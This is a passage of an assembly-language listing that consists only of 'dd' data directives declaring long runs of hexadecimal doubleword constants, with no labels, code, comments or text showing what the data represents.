0FAA088h, 69EDBF9Eh dd 5C0BB593h, 8434E4h, 8182552Ch, 0A1920017h, 41A278BCh dd 0B4706F56h, 87A4363Fh, 9926799Bh, 3A80BDA7h, 4FCBE5h dd 56532C6Ch, 71B58EA6h, 29CA200Eh, 0A00A09EDh, 962FEC2Ch dd 0FD10041h, 322450F5h, 0E207947Bh, 2A8EABF2h, 2FA99610h dd 0B3E8E6h, 0F359841Eh dd 7E825499h, 93F9D800h, 0BD1A62Bh, 284200C2h, 0D6691883h dd 0AE07F744h, 87FC502Ch, 122AB0D0h, 9C1A07ABh, 0C086F672h dd 9A62C920h, 3000B2EEh, 8A8289C1h, 2C5C042Dh, 3B983E1Bh dd 24EE0975h, 0CF092327h, 54615800h, 0BC5C101Ch, 1CC83C48h dd 0BA40D4E2h, 96D1431Eh, 4D090682h, 5068A2DBh, 0C8E37B17h dd 2851CC0Ah, 0A1560038h, 3EF00191h, 68FB00CAh, 691A4FC2h dd 204B2686h, 9E78A0h, 505D7F1Bh, 0B8618372h, 295D300h dd 0DB1E2EE6h, 576F00B9h, 2DB0F1F5h, 727D3F18h, 0C4D2CE01h dd 0EEABD5D9h, 0D83B70h, 7B05D76h, 0F40445B3h, 3FC755Dh dd 8D932B41h, 69B5F848h, 0E8DF609Ah, 20276BC5h, 800A570h dd 99D217D4h, 7E3B12Fh, 6F0ECDC7h, 19FEB1F4h, 0D7EBFCA1h dd 0A9AD9700h, 5AA71474h, 826C00F3h, 0EFE9451Bh, 0C20016CEh dd 0D32AFC38h, 7D1DADh, 6C4DB0BEh, 46E1F0AEh, 82BA7050h dd 4E8D3207h, 0AC30C9E7h, 8A3C2Fh, 59392E0Ah, 0DA9731AAh dd 8D534800h, 1E11092Ch, 4DE6008Fh, 52F1685Dh, 0C43EA071h dd 0FEED8014h, 0E0024BEEh, 8ED81C80h, 81F70022h, 937A1845h dd 13F09258h, 58406F69h, 0F2A19B12h, 5B651DEBh, 6090C03Fh dd 0CF38771Ah, 5A73821Eh, 9652BA00h, 0D959E6h, 597E214h dd 0CC3CD566h, 10D4CF49h, 0C80BA4C2h, 0A0017C67h, 0E41519F9h dd 0FF035818h, 9A2F4B27h, 0F788879h, 0C8240048h, 89F1E4F9h dd 0EB385CC1h, 47DD006Fh, 56B1D868h, 6E8400C5h, 0E80B8C07h dd 0E100FB45h, 82F50C33h, 983F05D3h, 0FA1C4CA1h, 29261901h dd 0D45CB37Ah, 66988D01h, 0BBD13700h, 413DB790h, 388B0375h dd 0D65665CEh, 311903A8h, 762F370Eh, 5CEB2013h, 30A564D7h dd 0D5CE88EEh, 0AB1F50ADh, 2480465Fh, 0A01D56B9h, 2DE80083h dd 0B163CDD9h, 0E40EE526h, 0E3DB145Eh, 991893E7h, 10801B76h dd 2A397DF0h, 0D53F2B0Dh, 0E4670097h, 6AA1494Bh, 0CF00AC1h dd 0A0C662h, 0E1A6E53h, 0FDE2F2DAh, 99BB8C00h, 10B02DDEh dd 0AD1C0261h, 68435E08h, 3AD62C60h, 330553B0h, 6F907A5Dh dd 0A648A0h, 77EC4F0Eh, 32921899h, 5175E700h, 0AA2A58D3h dd 0F02D4CA1h, 4EC8B50Bh, 0C7824A0h, 34000D21h, 7F07E967h dd 1E5126h, 0DFF252ECh, 7D8E826Dh, 0F164D40Ch, 0F8FB19D2h dd 67331D63h, 125540A7h, 9ACAAB4Fh, 705A0D00h, 0F873B10Ch dd 0E52B035Ch, 3F0455Eh, 0BA0781D8h, 0B0C06A75h, 0C4CF32A9h dd 5FF29Dh, 0B4D7E13Ch, 0E31C343Fh, 12834200h, 0A60BE504h dd 0C361002Ah, 0CB071DD4h, 0AD009281h, 479E50A8h, 0A728BE0h dd 0D36A8716h, 0A37A0ED4h, 3E5730D8h, 0BCD6C600h, 1D9B7F90h dd 899500C1h, 14BF02E0h, 2100ABE3h, 0FA712F79h, 4CC2Ah dd 2D6165CFh, 0FF60DCA6h, 313F530Fh, 4555C09Eh, 748B0F05h dd 19DA015Dh, 0BF068A89h, 9482CB9h, 602878E5h, 0E64E56B0h dd 90CA008Ah, 0B7EA3C66h, 9707399Ah, 50097747h, 0E8A6E233h dd 0FC898F5h, 92B7916Bh, 1521754Ch, 47014C00h, 3CA9C4A2h dd 0F0270346h, 93BB9994h, 344E3DD8h, 913B2203h, 932E456Ah dd 0F676B047h, 11CF004Fh, 0DB05C282h, 0BE00AA3Eh, 55735C23h dd 8AEACDh, 10EDD815h, 51213D95h, 0E4FB8612h, 39B0CC0h dd 0FAAF9834h, 0B2FE0711h, 909DF28Eh, 4DDC07C7h, 0F38FEC00h dd 898BA5F1h, 50EA46h, 72AE6A8h, 0E0B6E86Eh, 99F0720Eh dd 0BECEA038h, 58FEA7h, 62C9EA9h, 0A2D6F898h, 750212FAh dd 0CBDEDCF0h, 35F180B4h, 0A93A40h, 0AEF83148h, 0CD26F284h dd 0F0FA5528h, 0AB6116A0h, 2885C516h, 0CF76790Fh, 0DA900037h dd 0F23E283h, 0C3C10453h, 0D9070181h, 5BE21EBh, 0CBB100CCh dd 1E106DBDh, 9DC2F53Ch, 0FE0092E8h, 6A40DAA3h, 0C0F700D0h dd 88A27EE6h, 741CF0A6h, 0FB4043A5h, 0D4820CE0h, 96681CBFh dd 0B7CC8087h, 3F06E836h, 0DF3C5549h, 0FC032940h, 3B275E1Ch dd 5A04440Ah, 81A628CFh, 0F8EE6447h, 5158A80Dh, 5BB00199h dd 0E4196181h, 0FEFFF4h, 0C10CF738h, 13457A37h, 3FE82300h dd 0DB188E54h, 0FCFF0049h, 0F58A5AA5h, 0ECB004C7h, 0EA4B748h dd 0C15B7456h, 0C133997Eh, 33754C4h, 350B8CDh, 0F5A8EBD2h dd 600099Ah, 74FC9941h, 3886B331h, 9E890772h, 0B8E0C2CFh dd 3500DC1Fh, 0A2228F9Ch, 1ACB7Ch, 557007EFh, 4DE73ACEh dd 5D0BBF05h, 0E9C20CE3h, 0ECAD40C5h, 0F1C90012h, 0A472427h dd 390502A4h, 0E60EAEDh, 67C809h, 86D8C394h, 536100FDh dd 9B568D14h, 0E104F63Eh, 8B06DE50h, 10C358C0h, 790A0005h dd 0D08F5572h, 93000482h, 39C0FD97h, 1E70249Dh, 8022F7CDh dd 0FB2A79DCh, 0B901DF58h, 9F308933h, 0B2EBC75Bh, 4314C098h dd 0A0DA031Ah, 81A13D48h, 6BA8BDA3h, 37038557h, 0AF42131Dh dd 0B564A023h, 0FC22008Bh, 0B61986CCh, 483E85DCh, 0BDF0802Fh dd 0A3D7AF1Fh, 96184CE9h, 9F244103h, 0F0083B34h, 3D607Fh dd 0F2205040h, 9D00102Ah, 0A9A1A801h, 21CAAFh, 1EBC6088h dd 0C5EAEEB1h, 0E0E9BA04h, 0DC806962h, 5AAE41h, 81B983BBh dd 0AD0B666Fh, 12580C0Ah, 720090D9h, 2FB44AEEh, 0AC4800B5h dd 0CD81AAD7h, 4B099BB6h, 3F1413h, 958F4515h, 20FB0052h dd 0DDF7B9CEh, 5B2DB6F1h, 7A00209h, 4C5AD7h, 0EA0D5E2Ch dd 0D9F4C44Bh, 0C3E38013h, 0E565A403h, 71BF0CDh, 0CB131D55h dd 0EBD6842h, 1C10568Fh, 2788A747h, 7552B330h, 559F9CE0h dd 0B6EBBA04h, 0F8F04DD5h, 70C4B85Dh, 0AF72005Eh, 0EDFF90ABh dd 0CC481734h, 1B0816A8h, 0E04BB012h, 9DB003F3h, 9B38E8B9h dd 34F91243h, 5BA8071Fh, 0B580DF19h, 0F2E26102h, 0B8581500h dd 4D7E6D17h, 0EFE2F6h, 6043CD0h, 0A4402961h, 0E43B9E28h dd 5A26E503h, 4D0F2BDh, 4CFCB10h, 5BF281C5h, 7038B0h, 957F87A0h dd 2AEFA8h, 0DA23656Bh, 34488FA1h, 0C5093Dh, 4A47A5EBh dd 18164Dh, 5509681h, 298B6CC1h, 0D15C7600h, 552F32B3h dd 6FB00003h, 0F4239077h, 0B6005D0Eh, 0D04C114h, 7BB332h dd 91851B19h, 0A274B809h, 3DF79504h, 0E8F0419Ah, 6FB10479h dd 0B098B013h, 5000785Ch, 0B9F1CF4Bh, 54FEF90h, 0C2F7E217h dd 8470C0BFh, 80E3722h, 416F0594h, 66C50BD0h, 1706B530h dd 18D61A2h, 0B7785850h, 0C7642C7Dh, 56B18822h, 72F8E149h dd 0ACDC0077h, 2729E9ECh, 472CEB1Ch, 0C70050EAh, 64F067BDh dd 7DC09595h, 0F5133AF9h, 8040B49Fh, 19A3B26Bh, 949C1Fh dd 87FCB062h, 920E2584h, 40EA690Dh, 47C5A035h, 85AC009Dh dd 745F6662h, 961ED5F4h, 3600506Ah, 0A311DD02h, 971D07C5h dd 29A840CCh, 74004C46h, 9212CDA9h, 2C90FBEh, 4389CFCh dd 0A0401709h, 200FA53h, 0D767E4Dh, 38A8696Fh, 17752B10h dd 1863C7h, 8AEC91C0h, 47FE28Bh, 2636C820h, 806442ADh dd 0EE8AF612h, 0DC305930h, 56614816h, 0E1E50038h, 0A02F0D19h dd 0BE03B182h, 0C0F2F3E6h, 926BE0D5h, 5DD70030h, 0A6E88A18h dd 0A06748AAh, 8C42E68h, 0C0500704h, 671D5EFFh, 58442101h dd 737F464Ch, 78F0EBF5h, 97520048h, 0FE62427Eh, 6700F066h dd 0E85F1B15h, 74B7DEAh, 7E4FB582h, 0A0D2F745h, 23D46E5Eh dd 7F003098h, 89B43F9Dh, 3DCCBF85h, 0B700D381h, 0B8A279C8h dd 6A01A7EEh, 0E3155C3Ch, 0B9F473F3h, 4E1000E9h, 0D5671F8Ah dd 9C02B1A1h, 4B3478A2h, 86AE06Fh, 0FCEC7Bh, 2065DE1Eh dd 0ECEDA130h dd 3F0E3Dh, 0B218BA26h, 0CF27E3h, 82EF8087h, 882D4F3Eh dd 0EC010C98h, 0B3EB8E74h, 74603ABEh, 518200BAh, 659B293h dd 0E3003171h, 0A99A746Ch, 0CDB767h, 581EAA03h, 0D17721F4h dd 0C5988F02h, 588256A8h, 690E0034h, 0EA0FDF84h, 6F00E09Eh dd 0E9F71899h, 50AE22Ch, 0DA359FA8h, 0C2E0814Bh, 97C6F091h dd 6960D700h, 2FDD85B7h, 7132DCCh, 0C98ED438h, 2937F00h dd 90A633A2h, 3C4C0042h, 579B8D9Dh, 0C700E2B1h, 0C011346Ch dd 5C75F070h, 0E10047CEh, 46EE83A9h, 2A263D4Ah, 5000B006h dd 0D82C37F5h, 0E89F676h, 1B1817FEh, 10E37E40h, 9C045E56h dd 5B3A0432h, 46331890h, 1BF93E20h, 36D402CFh, 0DCE01107h dd 0F8EDE069h, 0BD006F02h, 5917F568h, 9F7026h, 30D9F344h dd 0E67C7AC5h, 0B47C7C98h, 0C4E47800h, 9305C294h, 8BD10083h dd 5C92B635h, 0F300A870h, 791625E3h, 965A368Fh, 51D50918h dd 6918BE80h, 810795D4h, 827D3A13h, 5B3F7BB0h, 17671C15h dd 0C4364E35h, 0E03BB1A0h, 400060F9h, 0F72852C6h, 72A1EE50h dd 3A0200DEh, 0A42DDCC3h, 8276D6C8h, 90CC5900h, 8B88D216h dd 475B7Dh, 9FE219A0h, 0D8F2E32Dh, 0F400A87Fh, 7BB45D82h dd 110A63Ah, 8A67DCCDh, 80704C8Dh, 0BFB28E84h, 0B462F763h dd 3FF20008h, 24753936h, 0A34D1400h, 0AA7E1DB1h, 0FC5402E1h dd 7160F3A7h, 16E626C0h, 239B9F00h, 2B969261h, 55020079h dd 6275A8CBh, 0ED27AFB2h, 0FB9C2372h, 6146B847h, 0A92E17A5h dd 65AC022Ch, 0D560763Fh, 0B3ACA4Eh, 0F9FB0132h, 17A1A2B5h dd 0EC94B1E8h, 92B424D6h, 7674307Dh, 4D00DC4Ch, 3EDD5CB7h dd 0D6D360h, 4B303416h, 6701252Fh, 0FB3C7B0Eh, 180EC075h dd 0E4D2F584h, 9F3A3986h, 39060800h, 2116E90Dh, 71A6B100h dd 0D48FF701h, 0D6841EF0h, 0E1138004h, 4C89EFE5h, 5563C200h dd 0F9529498h, 0B4AE0BBEh, 1E80BA0Fh, 86506206h, 3A92200h dd 366E3029h, 74BE7D4Eh, 0EE8CE453h, 393EEC77h, 76027E59h dd 87CEA5Bh, 1A4923E0h, 0F3A99D00h, 0AAD19725h, 7CBB7439h dd 2D3C18E9h, 232918F4h, 0CC819960h, 0E248D3Fh, 47845FC2h dd 0D84D2680h, 20C5904Ch, 2800B41Ah, 0AC3912A3h, 0B908C0D1h dd 6182723Bh, 1A4D2E00h, 0E3A789DDh, 0BC5F00BBh, 0EF9AC81Dh dd 0EE180ECBh, 7368C077h, 530901D9h, 0A20F25F9h, 0F2A981ACh dd 0CC48C139h, 0C5A82981h, 80178863h, 65465220h, 0C71AA00Bh dd 41C1EF80h, 0E52CD1BAh, 6C86CECBh, 0D9C7B88Ah, 22B089D7h dd 51AC5Fh, 92F17EC4h, 5D43F07Fh, 179B5000h, 0F5D99830h dd 0C85E6073h, 0FD8EEEF9h, 0D2D18400h, 5769AB42h, 0B0480049h dd 0F2613B5Dh, 507A5BC2h, 295A2E03h, 885824CCh, 47A6C1h dd 3EC38960h, 2FA7F90Bh, 0FD00D898h, 0E36F815Fh, 0F69E5938h dd 0C1CE00A8h, 2C954ED2h, 1400E5A7h, 0A126578Bh, 82DE43h dd 228F64FAh, 0A87B0496h, 5EF92A1Eh, 33264A43h, 725A8892h dd 54750071h, 0CFE6A3F2h, 0C40F231Eh, 2FBD34B6h, 0E5480E4Ch dd 0B840472Ch, 33B94AF7h, 27E103FEh, 38161799h, 210073A3h dd 0CFB8E344h, 95913BFh, 897A5B36h, 5642DA00h, 0EF3EE74Ch dd 0D4D60040h, 0E305A3CCh, 64912Bh, 6D9A1845h, 891E87C5h dd 0B65D1A1Dh, 2096700Ch, 27B200E5h, 0E0F64E01h, 0FE01AB83h dd 173426A3h, 0E040F8BCh, 60A68851h, 0EEC060DBh, 22004394h dd 19DD760Bh, 121EE39Ch, 7EA204Ch, 15481D48h, 0E070402Dh dd 71C3D1B8h, 76223843h, 0B8194A07h, 7190A2BBh, 117ABE6h dd 0EAA4C1Fh, 0C03CCD4Bh, 8F243BC5h, 5280282Eh, 0CC9019BEh dd 914C062Dh, 203924B8h, 899E451Ah, 64B40591h, 0B9444420h dd 11FE2B3Dh, 5DDC08B4h, 8640D61Dh, 0D8AF846Eh, 6DFA1F9Ch dd 0CE901D30h, 2E436096h, 19E86571h, 9E7D778Fh, 0DCF8F62Eh dd 392A500h, 752DD4FDh, 68DF0614h, 0FAC0A834h, 0DE126709h dd 4C0700D6h, 9C8CADBh, 38A9C1D0h, 0C0454907h, 95F5B04Eh dd 0C72CAB98h, 8E01785Fh, 266F3994h, 7D0A8FCh, 0EBA340A2h dd 143760D2h, 0F60E9C89h, 0C0160797h, 9871495Eh, 0D2FE00E1h dd 9522ED23h, 0F800DD45h, 7220398Dh, 0AC3D43h, 0C2B4EA89h dd 0C0140EB2h, 5BFA9F71h, 0FECE300h, 0EDEF8890h, 36D303E1h dd 0FD116F65h, 0FE022800h, 69EE8542h, 0B7FCE9AFh, 790C005Bh dd 532CFB01h, 0F4E934C2h, 97015C3Eh, 0E266A2B0h, 488080D3h dd 6B148B2Dh, 0D8B7568Ah, 86E6387h, 0CE83818Dh, 0A80F7A98h dd 1306478h, 69363489h, 16EE3009h, 0FD345628h, 7C74F77Bh dd 0B51D7071h, 0DA4C59A5h, 103589Dh, 0CBB428D8h, 0E4BE7FD0h dd 0F500955Ah, 3E510E31h, 0FFEA42h, 574BB14Ch, 3F9D0B2Ah dd 47781874h, 7A54CB00h, 0BDB536CCh, 1467006Fh, 55B8B996h dd 0D200A6EFh, 738AC132h, 0E40F07Ah, 0DF5128E0h, 374C5240h dd 0B005C50h, 15911F3Fh, 1B63ED0h, 0DF3BBF7Fh, 0ECE4E21Ch dd 1900E665h, 5B827180h, 0EEE439Eh, 0D77D9F54h, 75789940h dd 0AF00A25Dh, 3CB29056h, 5CE86D0Ah, 38002C23h, 7EC067E0h dd 0E5EC618Ah, 0F672BF00h, 0B9BB6495h, 9D693D71h, 379A9101h dd 0FC4F169Eh, 4500356Ah, 0B8E54466h, 3AFE4930h, 0E158B2CFh dd 11DA3800h, 0C9843693h, 8C213C1Ch, 5CCE4740h, 0D09907h dd 2BEBC50Eh, 0A5F77489h, 6169FCFBh, 0F228DB60h, 0C1FA483h dd 36A1B778h, 0A0308B40h, 6AC820DEh, 52EA5Dh, 762916Ch dd 0BDE3B50Bh, 0B1046318h, 7A4C0538h, 55390699h, 49DC5D34h dd 91752D30h, 7E644F8Eh, 43273B0Fh, 0F1B91C77h, 39A1C045h dd 8EB2E929h, 0D9008479h, 0A7A379DDh, 3757409h, 72FDA98h dd 0D800201Fh, 0C32EAAA1h, 317F37Eh, 4B490CC5h, 11E94A1Ah dd 0B3D1CFCAh, 958448C8h, 61E4A807h, 14B0EAD9h, 2BBDCh dd 8DF4D8B8h, 156245DBh, 46CDB1C1h, 8085D53Dh, 8DBA1Fh dd 87CFBF80h, 341D15CCh, 1740AAF7h, 0BEBC3907h, 36330084h dd 0A3EB4094h, 49000DD4h, 83461DBBh, 37703FEh, 712A8E34h dd 0F898B5C5h, 0C10B337Fh, 80EAFAE4h, 30E7C4Ah, 91620E84h dd 0AC87BA2Ah, 4EDD6073h, 0FE000DDCh, 455595A0h, 0E0287Eh dd 83BA0E1Bh, 507A62A8h, 2B8E350Ch, 872A087Dh, 0F316415Fh dd 0ED1080BFh, 4709B038h, 87301h, 6B8645BAh, 16F5B474h dd 119E4D00h, 0DB63EBFAh, 2C28C80Ah, 0B78EC341h, 1194A901h dd 4011BDE4h, 92131146h, 119BD511h, 413D824h, 9FDC449Ch dd 449DB144h, 0B84892C3h, 0B5273241h, 11BD3D01h, 0C984535Bh dd 2BB60DCh, 0B4CA471h, 8A29AD0Ch, 84300144h, 4B6D6B10h dd 5B080521h, 0B491DBh, 371880E6h, 0E33A6576h, 1EDBC0h dd 403C9FC8h, 638214D2h, 0EE29C100h, 0F71A847Ch, 6CCD3D9Bh dd 1BCBD000h, 8BDCDF5Bh, 4CC3F407h, 8CB38627h, 0C053B048h dd 8D2530FDh, 883A95Ah, 4BEC3500h, 0E143F24h, 0AC8000E1h dd 0D6C6E6B1h, 0CF0095B2h, 2C24A183h, 551087h, 0A3FD3676h dd 0C822A688h, 77654213h, 5D5CBA00h, 69E0D2h, 2BED4C47h dd 271E0F2Fh, 0AE7DA01h, 4E892AD3h, 24304970h, 7147C63h dd 0F3AE8FE2h, 10E85358h, 77827A4h, 74AC2101h, 640F4F0h dd 2B68D8E3h, 0E7890FDBh, 41A06AB0h, 78809BA1h, 8558A400h dd 97C16418h, 0D4A900F7h, 0A039607h, 80003863h, 0AEC31288h dd 7892F9h, 81EC2AF0h, 0A07D71FFh, 0F5590A3Ch, 82AC9900h dd 6606F7D1h, 0F9480FBEh dd 29A077D6h, 9B082A1Dh, 0E26EC000h, 0CBF482C5h, 9856008Eh dd 0B0E1260Ah, 9700B5F3h, 3008D6BDh, 154ABBh, 991A3D66h dd 0E1A3BA8Bh, 0BF174400h, 0A4D02AC9h, 0C1C80636h, 38B5CA8Eh dd 0B8DE4100h, 0B903A158h, 0C3E90095h, 0DC47BF5Ch, 0C800BA0Fh dd 0CE3A2676h, 0CFE9FFDh, 3CC50308h, 0DF038D10h, 0CFE5938Bh dd 3EB4D0B8h, 0BC650079h, 0AD6660D6h, 0B00FFE99h, 8961Ah dd 49418B0Fh, 0A8440FB8h, 0E280BA02h, 0B16D7DBh, 5C24D41Ch dd 8C54B9C0h, 2E40E779h, 8232DDh, 0FD8F9B7Fh, 8A1DF01Bh dd 958FA6DCh, 0E2C19F9Ch, 0AD026EB9h, 0E8E8A3EFh, 80BF51h dd 5295F257h, 0E6BD5BF8h, 0CB20DA00h, 47F7263Ah, 0E8C21DEFh dd 1F6CAC3Eh, 8B79074Fh, 96620EAh, 13889EBh, 0CAFF00B3h dd 0AA30E250h, 90DF006Bh, 8D413DDAh, 62007B1Ch, 5515663Ch dd 9E1411h, 2FC67D87h, 4F595499h, 0E7D0AA01h, 7FA271E6h dd 1F4C7C0h, 11AFEDB1h, 0D8D5A783h, 18007DE3h, 0EE65DB99h dd 43D6A5h, 7E832E46h, 528EB757h, 7588F400h, 0A7E0D833h dd 90FBF20Ch, 0F1190E98h, 6F601DECh, 76601FCh, 0CB014E73h dd 55B61A68h, 99EC9678h, 0FE2F32B2h, 8A601C46h, 7EA345Fh dd 14ABF104h, 488050D0h, 0A546A1h, 43966876h, 773E56FCh dd 0E0B60909h, 88E4018Fh, 9BDC3023h, 13EC7A3Dh, 5C34D6h dd 1E5B3105h, 3E0063FFh, 92B721D3h, 0F166A19h, 0C6A943A2h dd 4CE73061h, 209C206Ch, 49116103h, 0F81E7AE9h, 0ECFF93EDh dd 8AE53F83h, 0C2CB3F00h, 8C41FC50h, 94196900h, 7A6E23D1h dd 0AE180234h, 0C6628343h, 0C1E700C0h, 9998FA00h, 37BB80E5h dd 4FD200ACh, 51865904h, 4300D778h, 38BD0B28h, 3E5C6390h dd 0A68EA048h, 1ECF309Ah, 7BFA5AE0h, 8B00AA9Bh, 0C14DDB4Ch dd 1205FBCh, 92AFB95h, 0D0A728DDh, 2200C007h, 3454DFE6h dd 70FB8E2Ch, 0C24000BEh, 0F094993Dh, 25008471h, 317EFA32h dd 0A89833h, 1DF644D9h, 4C3C4A99h, 806F1739h, 6EC1515Fh dd 3C9E0D35h, 0C2801369h, 85530F4Ah, 0F2008B34h, 0FAE33E5Dh dd 905B7161h, 447E0074h, 0C46DB176h, 16002FAFh, 939950BDh dd 12BC16Eh, 0E3F0C2F3h, 2062E24Fh, 0B90757E4h, 29BC0CAEh dd 8379D890h, 0F3B20067h, 0EE8CC74Ah, 4E0045C8h, 586638DBh dd 0AA2D8Bh, 436FB1BBh, 23802C93h, 215FD800h, 0B8670187h dd 0FAF37B1Bh, 6DCB00C1h, 0C06EDF10h, 0C83D533Dh, 998007Dh dd 1A284D8Ah, 1FC20039h, 1282A908h, 91002740h, 1D5B4A8Fh dd 1451129h, 0CBD82AA8h, 0C0EF39C1h, 710382CEh, 67A32EEBh dd 0A10ED83Bh, 18960085h, 7513577Bh, 273C28B1h, 0DC3B804Ch dd 88CC2F9Ch, 31F7732h, 6C695873h, 18F0AC85h, 82001A71h dd 927A5549h, 18B64E1h, 9514A2B6h, 20C62DFAh, 5E301E82h dd 776788C2h, 0AEFD00DCh, 5F4E6D8Eh, 2B004427h, 23D5F05Eh dd 8D2985h, 0A7C5193Fh, 0D6E0340Ah, 0D14CF30Fh, 2544A0FEh dd 0F5E2A0Dh, 1020CC54h, 0B9B19A00h, 0F0010A30h, 2135840h dd 5F70EBA8h, 0C0813A4Fh, 9FFC96h, 87DF59DEh, 4500D5A2h dd 70C4D3Ah, 0E59121h, 0CAD79967h, 33BE834Fh, 7184EA00h dd 6EBFD0D8h, 0A4EDA1F8h, 85623880h, 37F900Eh, 1765CE0Bh dd 0F74600C6h, 0CF42BBh, 7B3740BDh, 4C3EE768h, 0A66FB724h dd 841BAB03h, 34B490DAh, 0B271D2h, 278728BAh, 7D7CB31Ch dd 0C760C500h, 0F6EFFB9Ch, 836C0066h, 58A0B1EDh, 43005EDCh dd 0BF6E3607h, 71FBB459h, 706C00F6h, 62550DE6h, 7476FF08h dd 863E7200h, 53A87F25h, 95BE00EFh, 0D979BA88h, 0C500B284h dd 3564C4F2h, 7FD4342Ch, 0D798Ch, 950FDA79h, 0B3254807h dd 6C233Eh, 42E0B457h, 89012Bh, 0C4096F76h, 1093729Bh dd 0FE009D7Fh, 0C65730D4h, 7801C2h, 0BAC3CB62h, 873208EFh dd 74405500h, 0C93538C4h, 567008Eh, 0FBCCE99Eh, 0AB0329B8h dd 160B74EFh, 0A8BFB3C4h, 4176B1h, 73CD3E17h, 81B6B99Ch dd 0D5E58900h, 8B82A71Bh, 0EE7F4Eh, 1C3407Ch, 4808D126h dd 870E030h, 0F64FA338h, 0BD75028Dh, 6B7F809h, 971BBBC0h dd 0BBCE7C00h, 2AD4E67Fh, 702E18F5h, 0C93798A3h, 9324061Fh dd 0E0BB984Fh, 6D575B9Dh, 0DBEC03Eh, 0FEE130E4h, 0FB312700h dd 371CBF32h, 0BD743829h, 0CF00A0BEh, 0AFE2B1C6h, 0A2041D63h dd 97343191h, 2A211180h, 0D7C8003Ah, 198DEA11h, 167E749Dh dd 0CD005CF2h, 0B804011Eh, 29A265h, 80DD91F2h, 9A312572h dd 0D2B7C800h, 48136B26h, 8AC7003Ah, 0F4CEE903h, 20004E33h dd 3B19A2DDh, 35C1C3h, 401B7356h, 8160AAFCh, 0C67E1701h dd 69F87988h, 0AC0240CAh, 0DE370924h, 0C70E4F41h, 4BA348D8h dd 9D00587Fh, 98E9363Dh, 74DBC38Fh, 99570B48h, 148165BEh dd 7013B9C4h, 85008158h, 27A4EE12h, 0CD0B14h, 0CA1B6743h dd 51A1D702h, 40D3BB00h, 0F5144F73h, 75001A4h, 0BF3D4913h dd 92B440B7h, 7100F3EAh, 17E8548Bh, 4F2A8Fh, 631E6ACFh dd 0BE454478h, 3B16611Fh, 0F092AE00h, 2B085A4h, 37FA6003h dd 8CE04278h, 9D00D709h, 80C4A5EBh, 0F2B9B8C8h, 6A70F1h dd 0FB5B5F81h, 50594806h, 0C59BC20Eh, 8AC600Dh, 8623DCh dd 0FCEEB2EAh, 7DC1605Ch, 0F9AFF40Fh, 0B59E8053h, 24068D69h dd 4F0C649h, 0C08088C9h, 0BCEC4884h, 2AAEFC00h, 0D2C74324h dd 19E07C0h, 2730D0h, 7FBEC4A2h, 6B448A0Eh, 398B27FCh dd 4FBD9C20h, 3010F487h, 8D34F1D1h, 28C0DD51h, 0B8FD3581h dd 4071DF30h, 0A06DF0A9h, 0E4F6A452h, 27B1DE1Fh, 0C2462207h dd 0C420601Eh, 735D3245h, 5C77DBh, 0BF164BC5h, 92715AD9h dd 0BD094739h, 7E5C39h, 0C7A54EE4h, 0D43869h, 0AA5B856Ah dd 7F3A0675h, 31B50F00h, 0CC44DC2Ch, 0FD33068Bh, 905AB385h dd 4900B076h, 0DE972EB4h, 7DB1C71h, 0E1444787h, 6DF50D4h dd 4900A703h, 8E0925DAh, 1FA3B8F7h, 0CE66D7C5h, 57A0CDECh dd 8B1560C0h, 0C1187500h, 77DA2250h, 37354C37h, 7E280A04h dd 0BE4780A5h, 3A24BD1Ch, 6501C975h, 6E41B819h, 1606EF70h dd 24B7CBh, 0B767517h, 1A6014A7h, 0D5913048h, 6E8900EBh dd 718C39Dh, 0E5002ABAh, 0F683FC98h, 12DAC2B3h, 0EFE14EAh dd 0E48C5F12h, 73044BC2h, 18F49A99h, 4E3F71C1h, 948AC840h dd 72BC009Bh, 4D0B55Eh, 0F2E6E3E4h, 74B75700h, 786FC2E8h dd 0F7510375h, 887C4F29h, 1D50FDE8h, 0A8680400h, 8240EC0Ch dd 33FF0506h, 81E7F827h, 0D8E3BA02h, 5B001911h, 0BF1374C5h dd 140FB62Eh, 80C9CCFFh, 20E70607h, 0FDB57045h, 0AB01BCA7h dd 0E1D48ADh, 0E02E26CFh, 8A4B3D1Bh, 32D0C6A1h, 2C0C006Eh dd 0CABEC9A2h, 88000F78h, 0EC71C4C6h, 77C50E3Bh, 0F4190075h dd 365A2B3Eh, 6E487BC9h, 51C80924h, 72D05EDh, 0D568000h dd 1E4DD581h, 80940C29h, 4E40F8FEh, 3570430Fh, 4BBF470Ah dd 0EF00E350h, 0E308571Ah, 140949B0h, 92013A48h, 0A10C5516h dd 5F6D602Ch, 0C61FE709h, 0DCB28072h, 167008CCh, 60F91499h dd 0E7C10AD4h, 16F6A178h, 54521301h, 3349A93Eh, 6F90E8h dd 0E7EEE350h, 3C2340BFh, 72546700h, 6378AEC6h, 40224C89h dd 0A7E4DD01h, 0D09537AFh, 0BA0E17D9h, 408F0741h, 60A33B29h dd 0FC050057h, 0EFBAA28h, 0B371D4E4h, 0C3979600h, 16A0D112h dd 0B6E70203h, 0A7431467h, 5D084000h, 6B9480A8h, 0D8AD2F18h dd 341FF8h, 0F5E1B4D6h dd 0C6AA204Ah, 0AFB61A02h, 60503FA6h, 8176F3h, 59421F31h dd 73AADD9Bh, 282B5A00h, 0F66BBC3Dh, 0BB640F21h, 0A201C96Ah dd 20CFF540h, 9A7E4A0Ch, 0AA031EF6h, 7E711A3Eh, 241BB030h dd 25676FFh, 0A3326F35h, 0E2877220h, 6E8FB717h, 65A29980h dd 27039515h, 22D6BCAh, 0BA7A88F2h, 7F5F0F33h, 0DFDC68h dd 0A2861162h, 0B5004C39h, 48C9B47Ch, 30DAF5h, 0C0CB254Bh dd 21D0790Bh, 0BB467B00h, 6C78FFB4h, 6086013Bh, 0A84862DFh dd 0CA4ADC0Bh, 58984500h, 0F0B126ACh, 398FE67Ch, 59BA0DCFh dd 80B2211Fh, 0CC4D4F45h, 4E0E4667h, 40332A9Eh, 1EC3BD65h dd 0E7BB0054h, 0BC279F8h, 170F0152h, 0A03698ECh, 8EE34360h dd 1ABD006Dh, 91C222E4h, 0C012F84h, 0ED306452h, 0E6D06997h dd 4ED100CBh, 7F2FFC7h, 633BD5A9h, 1F188094h, 78475512h dd 7D04B008h, 0F8F500C1h, 18F209EDh, 0DEEEA7BBh, 0D1549600h dd 464A0C62h, 0CA4D00B0h, 29263682h, 8B0077E7h, 8C2FF9C1h dd 246C8FE8h, 0C70A2Ah, 2966D1B9h, 5400A204h, 0F2AD1845h dd 62C294h, 0F3AFFA5Ah, 63CD51F9h, 0D3455D00h, 42AB96E4h dd 0A5923EB5h, 39ED4D02h, 0B080C11Eh, 653DF3A4h, 8415E63Ah dd 2E1466DEh, 